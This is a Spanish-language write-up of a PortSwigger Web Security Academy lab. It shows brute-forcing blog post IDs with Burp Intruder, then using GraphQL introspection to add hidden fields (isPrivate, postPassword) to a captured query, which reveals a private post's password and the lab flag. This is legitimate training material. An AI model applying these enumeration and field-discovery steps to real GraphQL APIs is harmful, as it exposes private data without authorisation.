{"url":"https://writeups.es/writeups/portswigger/acceso-a-posts-graphql-privados/juanluismm520","machine":{"name":"Acceso a posts GraphQL privados","slug":"acceso-a-posts-graphql-privados","platform":"PortSwigger Web Security Academy","platform_slug":"portswigger","difficulty":"facil","difficulty_label":"Fácil","operating_system":["Linux"],"tags":["web","graphql"],"original_url":"https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts","all_writeups":"https://writeups.es/maquinas/portswigger/acceso-a-posts-graphql-privados"},"author":{"nickname":"juanluismm520","url":"https://writeups.es/u/juanluismm520","bio":null},"summary":null,"outline":[{"level":1,"title":"Acceso a posts GraphQL privados","anchor":"https://writeups.es/writeups/portswigger/acceso-a-posts-graphql-privados/juanluismm520#acceso-a-posts-graphql-privados"},{"level":2,"title":"📝 Resumen","anchor":"https://writeups.es/writeups/portswigger/acceso-a-posts-graphql-privados/juanluismm520#resumen"},{"level":2,"title":"🔍 Empezamos el lab","anchor":"https://writeups.es/writeups/portswigger/acceso-a-posts-graphql-privados/juanluismm520#empezamos-el-lab"},{"level":3,"title":"Intruder de Brup","anchor":"https://writeups.es/writeups/portswigger/acceso-a-posts-graphql-privados/juanluismm520#intruder-de-brup"}],"cves":[],"code_languages":["http"],"stats":{"words":213,"reading_minutes":1,"votes":0},"content_markdown":"# Acceso a posts GraphQL privados\n\n> Plataforma: **PortSwigger Web Security Academy** | Dificultad: **Fácil** | IP: `<IP>`\n\n---\n\n## 📝 Resumen\n\nMáquina de tipo **facil** en la que se tiene un post de un blog que contiene una contraseña secreta. Simplemente hay que encontrar el post. \n\n## 🔍 Empezamos el lab\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/9eefcbb7-b2c6-4775-a727-19c877a8c2be.webp)\n\nVemos un simple blog que contiene varios post\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/3797306d-06be-41fa-9da0-e86dd177245e.webp)\n\n¿Qué pasa si simplemente cambiamos la url?\n`https://0aea00760485da8580607b1600f600a2.web-security-academy.net/post?postId=1`\n\nSi nos vamos al intruder de burp nos permite hacer fuerza bruta númerica a los postId, hasta encontrar el oculto. A simple vista, solo he visto el post 1, 2, 4 y 5. Pruebo con el 3 pero me dice \"Not found\". \n\n### Intruder de Brup\nHaremos fuerza bruta desde el post 1 al 300\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/034086ce-95ba-4a63-b4ec-050f40dc57be.webp)\n\n![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/f94a9d61-de68-405e-b7ef-55a17edc5907.webp)\n\nParece que no encuentra nada, pues ordenando por longitud nos aparece lo que ya teníamos. Puesto que el lab es de GraphQL vamos a investigar por otro lado. \n\nSi intercepto la petición que llama a un post y analizo la response, me da varias responses. Una de ellas es\n\n```http\nPOST /graphql/v1 HTTP/1.1\nHost: 0aea00760485da8580607b1600f600a2.web-security-academy.net\nCookie: session=8A4ylFwfHOFAh9CkS6NxYaOxS1bTgzcG\nContent-Length: 249\nSec-Ch-Ua-Platform: \"Windows\"\nAccept-Language: es-ES,es;q=0.9\nAccept: application/json\nSec-Ch-Ua: \"Not-A.Brand\";v=\"24\", \"Chromium\";v=\"146\"\nContent-Type: application/json\nSec-Ch-Ua-Mobile: ?0\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36\nOrigin: https://0aea00760485da8580607b1600f600a2.web-security-academy.net\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: https://0aea00760485da8580607b1600f600a2.web-security-academy.net/post?postId=4\nAccept-Encoding: gzip, deflate, br\nPriority: u=1, i\nConnection: keep-alive\n\n{\"query\":\"\\n    query getBlogPost($id: Int!) {\\n        getBlogPost(id: $id) {\\n            image\\n            title\\n            author\\n            date\\n            paragraphs\\n        }\\n    }\",\"operationName\":\"getBlogPost\",\"variables\":{\"id\":3}}\n```\n\nVolvemos al intruder pero está vez con esta petición. Nos sale un post oculto, pero sin contraseña. \n\n**Hacemos click derecho  en el repeater GraphQL -> Set Introspection Query** Y ahora si, con ayuda de una IA obtenemos esta query\n\n```http\n{\n  \"query\": \"query getBlogPost($id: Int!) { getBlogPost(id: $id) { image title author date paragraphs isPrivate postPassword } }\",\n  \"operationName\": \"getBlogPost\",\n  \"variables\": { \"id\": 3 }\n}\n```\n\nQue esta vez si nos da la flag: yw4lq18vtp2c6fccztsd4xlk913dxaxf\n","published_at":"2026-05-24T17:06:46.758048+00:00","updated_at":"2026-08-14T18:15:44.659871+00:00","license":"CC BY-SA 4.0","attribution":"Writeup de juanluismm520 publicado en writeups.es — https://writeups.es/writeups/portswigger/acceso-a-posts-graphql-privados/juanluismm520"}